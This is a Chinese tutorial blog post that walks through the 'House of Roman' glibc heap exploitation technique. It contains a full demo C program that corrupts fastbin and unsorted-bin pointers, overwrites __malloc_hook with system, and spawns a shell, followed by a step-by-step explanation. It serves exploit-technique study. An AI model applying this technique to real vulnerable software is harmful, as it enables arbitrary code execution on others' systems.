前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >house_of_roman

house_of_roman

作者头像
yichen
发布2020-12-11 11:48:20
3640
发布2020-12-11 11:48:20
举报
#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

void* init(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

int main(){
    char* introduction = "\n欢迎学习 House of Roman\n\n"
                 "这是一种无泄漏的堆利用技术\n"
                 "攻击分为三个阶段: \n\n"
                 "1. 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook.\n"
                 "2. 通过 unsortedbin attack 把 main_arena 写到 malloc_hook 上.\n"
                 "3. 通过低位地址修改 __malloc_hook 为 one_gadget.\n\n";
    puts(introduction); 
    init();

    puts("第一步: 让 fastbin chunk 的 fd 指针指向 __malloc_hook\n\n");
    puts("总共申请了 4 个 chunk,分别称为 chunk1、2、3、4,我感觉 chunk123 比一串英文更好记 Orz\n注意我们去 malloc 的时候指针所指向的类型是 uint8_t,实际上就是 char,一个字节\n");
    uint8_t* chunk1 = malloc(0x60); //chunk1
    malloc(0x80); //chunk2
    uint8_t* chunk3 = malloc(0x80); //chunk3
    uint8_t* chunk4 = malloc(0x60); //chunk4
    
    puts("free 掉 chunk3,会被放进 unsorted bin 中,在他的 fd、bk 将变为 unsorted bin 的地址");
    free(chunk3);

    puts("这时候去 malloc 一个(chunk3_1),会从 unsorted bin 中分割出来,同时我们也拿到了 unsorted bin 的地址\n");
    uint8_t* chunk3_1 = malloc(0x60); 
    puts("通过 unsorted bin 的地址计算出 __malloc_hook\n");
    long long __malloc_hook = ((long*)chunk3_1)[0] - 0xe8;

    free(chunk4); 
    free(chunk1);
    puts("依次释放掉 chunk4、chunk1,后进先出,这时候 fastbin 链表是:fastbin 0x70 -> chunk1 -> chunk4\n");
    puts("如果改掉 chunk1 的 fd 指针最后一个字节为 0,这个链表将会变为:fastbin 0x70 -> chunk1 -> chunk3_1 -> chunk3_1 的 fd\n");
    chunk1[0] = 0x00;
    
    puts("chunk3_1 的 fd 是我们可以修改掉的,通过修改后几位,将其改为 __malloc_hook - 0x23\n");
    long long __malloc_hook_adjust = __malloc_hook - 0x23; 

    int8_t byte1 = (__malloc_hook_adjust) & 0xff;   
    int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 
    chunk3_1[0] = byte1;
    chunk3_1[1] = byte2;

    puts("接下来连续 malloc 两次,把 fastbin 中的 chunk malloc 回去,再次 malloc 就能拿到一个指向 __malloc_hook 附近的 chunk()\n");
    malloc(0x60);
    malloc(0x60);
    uint8_t* malloc_hook_chunk = malloc(0x60);  
    puts("在真正的漏洞利用中,由于 malloc_hook 的最后半字节是随机的,因此失败了15/16次\n"); 

    puts("第二步:Unsorted_bin attack,使我们能够将较大的值写入任意位置。 这个较大的值为 main_arena + 0x68。 我们通过 unsorted bin attack 把 __malloc_hook 写为 unsortedbin 的地址,这样只需要改低几个字节就可以把 __malloc_hook 改为 system 的地址了。\n");

    uint8_t* chunk5 = malloc(0x80);   
    malloc(0x30); // 防止合并

    puts("把 chunk 放到 unsorted_bin\n");
    free(chunk5);

    __malloc_hook_adjust = __malloc_hook - 0x10; 
    byte1 = (__malloc_hook_adjust) & 0xff;  
    byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 

    puts("覆盖块的最后两个字节使得 bk 为 __malloc_hook-0x10\n");
    chunk5[8] = byte1;
    chunk5[9] = byte2;

    puts("触发 unsorted bin attack\n");
    malloc(0x80); 

    long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
    //这个 dlsym 是用来获得 system 地址的
    puts("第三步:将 __malloc_hook 设置为 system/one_gadget\n\n");
    puts("现在,__malloc_hook 的值是 unsortedbin 的地址,只需要把后几位改掉就行了\n");
    malloc_hook_chunk[19] = system_addr & 0xff;
    malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;
    malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;
    malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; 
    puts("拿到 Shell!");
    malloc((long long)shell);
}

编译 gcc -g 1.c -ldl

一开始 malloc 了 4 块 chunk(这里称为 chunk1\2\3\4)

free 掉 chunk3,因为它的大小不属于 fastbin 的范围,所以放到了 unsorted bin 中,所以他的 fd、bk 指针指向了 unsorted bin 的地址

再去 malloc 回来一个 0x60 大小的 chunk,会从之前的那个 unsorted bin 中划分出来(这块就叫 chunk3_1)

计算出 __malloc_hook 的地址,完全是根据偏移算出来的

free 掉 chunk4 和 chunk1

把 chunk1 的 fd 指针的末尾改为 0x00,这样它的 fd 指针就指向了 chunk3_1,同时把 chunk3_1 的 fd 从本来的 unsorted bin 的地址改为 __malloc_hook - 0x23

malloc 两次时候再去 malloc 的时候就会申请到修改的 fd 指针那里,也就是 __malloc_hook - 0x23

(这个 chunk 称为 malloc_hook_chunk)

再去 malloc 一个用 chunk5 来进行 unsorted bin attack(后面还申请一个 0x30 的防止与 top chunk 合并)

free 之后修改 chunk5 的 bk 指针为 __malloc_hook - 0x10

然后 malloc 执行 unsorted bin attack,把 malloc_hook 改为 unsorted bin 的地址

(这么做应该是因为没法泄漏 libc 基址,所以通过这种方法把高位的几个字节直接放好,只修改后面的就行了)

修改低几个字节,把 system 或者 one_gadget 的地址通过前面的 malloc_hook_chunk 写入 __malloc_hook

这样 __malloc_hook 就是 system 的地址了,然后去 malloc 的时候就能拿到 shell 了

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档